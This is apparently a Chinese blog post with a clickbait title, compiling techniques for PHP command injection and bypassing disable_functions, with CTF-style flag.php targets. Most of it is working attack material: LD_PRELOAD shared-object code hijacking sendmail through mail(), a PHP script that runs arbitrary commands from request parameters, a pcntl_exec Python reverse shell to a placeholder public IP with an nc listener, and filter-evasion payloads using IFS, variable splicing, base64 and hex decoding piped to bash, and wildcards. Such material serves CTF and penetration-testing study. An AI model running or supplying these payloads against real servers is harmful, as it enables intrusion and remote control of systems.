傻眼了，我粗略造了一个命令执行的绕过方法居然被同事嫖走了

system()    #输出并返回最后一行shell结果。exec()      #不输出结果，返回最后一行shell结果，所有结果保存到一个返回数组里。passthru()  #只调用命令，把命令的运行结果原样地直接输出到标准输出设备上。popen()、proc_open() #不会直接返回执行结果，而是返回一个文件指针shell_exec()#通过shell执行命令并以字符串的形式返回完整的输出反引号       #实际上是使用shell_exec()函数

windows： &&　　||　　&　 |　linux：　  &&　 ||　　&　 |   ;#分号;在shell中担任连续指令的功能#下面的需php环境%0a 换行符%0d 回车符

#需php环境%00%20#

$;|&-(){}反引号||&&%0a #有时可当空格使用

1.disable_function2.过滤字符3.命令盲注4.无回显的命令执行

disable_functions = system,exec,shell_exec,passthru,proc_open,proc_close, proc_get_status,checkdnsrr,getmxrr,getservbyname,getservbyport, syslog,popen,show_source,highlight_file,dl,socket_listen,socket_create,socket_bind,socket_accept, socket_connect, stream_socket_server, stream_socket_accept,stream_socket_client,ftp_connect, ftp_login,ftp_pasv,ftp_get,sys_getloadavg,disk_total_space, disk_free_space,posix_ctermid,posix_get_last_error,posix_getcwd, posix_getegid,posix_geteuid,posix_getgid, posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid, posix_getppid,posix_getpwnam,posix_getpwuid, posix_getrlimit, posix_getsid,posix_getuid,posix_isatty, posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid, posix_setpgid,posix_setsid,posix_setuid,posix_strerror,posix_times,posix_ttyname,posix_uname

#include <stdlib.h>#include <stdio.h>#include <string.h>
void payload(){    system("ls /var/www/html > /tmp/smity");}int geteuid(){    if(getenv("LD_PRELOAD") == NULL){ return 0; }    unsetenv("LD_PRELOAD");    payload();}

gcc -c -fPIC hack1.c -o hack1gcc --share hack1 -o hack1.so

<?phpputenv("LD_PRELOAD=/tmp/hack1.so"); /*目录/tmp下具有写权限*///putenv("LD_PRELOAD=./hack1.so"); /*假设站点根目录下具有写权限*/mail('','','',''); //mail函数调用系统中的sendmail命令，sendmail二进制文件中使用了geteuid库函数。调用.so文件里的geteuid函数，实现覆盖geteuid函数。?>

?code=include('/tmp/qwzf1.php');

#include <stdlib.h>#include <stdio.h>#include <string.h>
int geteuid(){    const char* cmdline = getenv("EVIL_CMDLINE"); //获得系统的环境变量EVIL_CMDLINE    if(getenv("LD_PRELOAD") == NULL){ return 0; }    unsetenv("LD_PRELOAD"); //删除系统变量    system(cmdline);}

<?php$cmd = $_REQUEST["cmd"]; //要执行的系统命令$out_path = $_REQUEST["outpath"]; //命令执行结果输出到指定路径下的文件$evil_cmdline = $cmd." > ".$out_path." 2>&1"; //2>&1将标准错误重定向到标准输出echo "<br /><b>cmdline: </b>".$evil_cmdline; //打印显示实际在linux上执行的命令putenv("EVIL_CMDLINE=".$evil_cmdline); //将执行的命令，配置成系统环境变量EVIL_CMDLINE
$so_path = $_REQUEST["sopath"]; //传入.so文件putenv("LD_PRELOAD=".$so_path); //将.so文件路径配置成系统环境变量LD_PRELOADmail("", "", "", ""); //mail函数调用系统中的sendmail命令，sendmail二进制文件中使用了getuid库函数。调用.so文件里的getuid函数，实现覆盖getuid函数。
echo "<br /><b>output: </b><br />".nl2br(file_get_contents($out_path));//nl2br()函数在字符串中的每个新行（\n）之前插入HTML换行符//file_get_contents() 把整个文件读入一个字符串中。即把最后命令执行结果从文件读取成字符串?>

http://x.x.x.165:8001/?code=include('/tmp/qwzf2.php');post: cmd=ls&outpath=/tmp/test&sopath=/tmp/hack2.so

#include <unistd.h>
void payload(void){    system("ls /var/www/html > /tmp/smity");}__attribute__ ((__constructor__)) void exec(void){    if (getenv("LD_PRELOAD") == NULL){ return 0; }    unsetenv("LD_PRELOAD");    payload();    return 0;}（2）将c文件编译成动态链接库：
gcc -shared -fPIC hack3.c -o hack3.so（3）qwzf3.php
<?phpputenv("LD_PRELOAD=/tmp/hack3.so"); /*目录/tmp下具有写权限*///putenv("LD_PRELOAD=./hack3.so"); /*假设站点根目录下具有写权限*/mail('','','','');?>

<?php  pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("公网服务器IP",端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));?>

nc -lvvp 4444

${IFS}$IFS$9 #$9可改成$加其他数字< <>     #重定向符{cat,flag.php}  #用逗号,实现了空格功能
%20%09

#在linux系统中a=g;cat fla$a.phpa=fl;b=ag.php;cat $a$b
#在php的ping环境中ip=;a=g;cat fla$a.phpip=;a=fl;b=ag.php;cat $a$b

#1.base64编码：cat flag.php -> Y2F0IGZsYWcucGhw`echo "Y2F0IGZsYWcucGhw"|base64 -d`$(echo "Y2F0IGZsYWcucGhw"|base64 -d)echo "Y2F0IGZsYWcucGhw"|base64 -d|bashecho "Y2F0IGZsYWcucGhw"|base64 -d|sh
#2.hex编码：cat flag.php -> 63617420666c61672e706870echo "63617420666c61672e706870"|xxd -r -p|bash#xxd: 二进制显示和处理文件工具,cat: 以文本方式ASCII显示文件#-r参数：逆向转换。将16进制字符串表示转为实际的数#-ps参数：以 postscript的连续16进制转储输出，也叫做纯16进制转储。#-r -p将纯十六进制转储的反向输出打印为了ASCII格式。
#3.shellcode编码：cat flag.php -> \x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70#经测试，发现在php的ping环境上执行失败。在linux系统上执行成功$(printf "\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70"){printf,"\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70"}|bash`{printf,"\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70"}`

cat fl''ag.phpcat fl""ag.phpc''at fl''ag.phpc""at fl""ag.php

more:一页一页的显示档案内容less:与 more 类似，但是比 more 更好的是，他可以[pg dn][pg up]翻页head:查看头几行tac:从最后一行开始显示，可以看出 tac 是 cat 的反向显示tail:查看尾几行nl：显示的时候，顺便输出行号od:以二进制的方式读取档案内容，不加选项默认输出八进制vi:一种编辑器，这个也可以查看vim:一种编辑器，这个也可以查看sort:可以查看uniq:可以查看file -f:报错出具体内容

more/less/head/tac/tail/nl/vi/vim/uniq/file -f/sort flag.php

od -c flag.php

cat *cat f*/???/?at flag.php #/bin/cat flag.php/???/?at ????????/???/?[a][t] ????????/???/?[a][t] ?''?''?''?''?''?''?''?''/???/?[a]''[t] ?''?''?''?''?''?''?''?''/???/[:lower:]s #ls等等。。。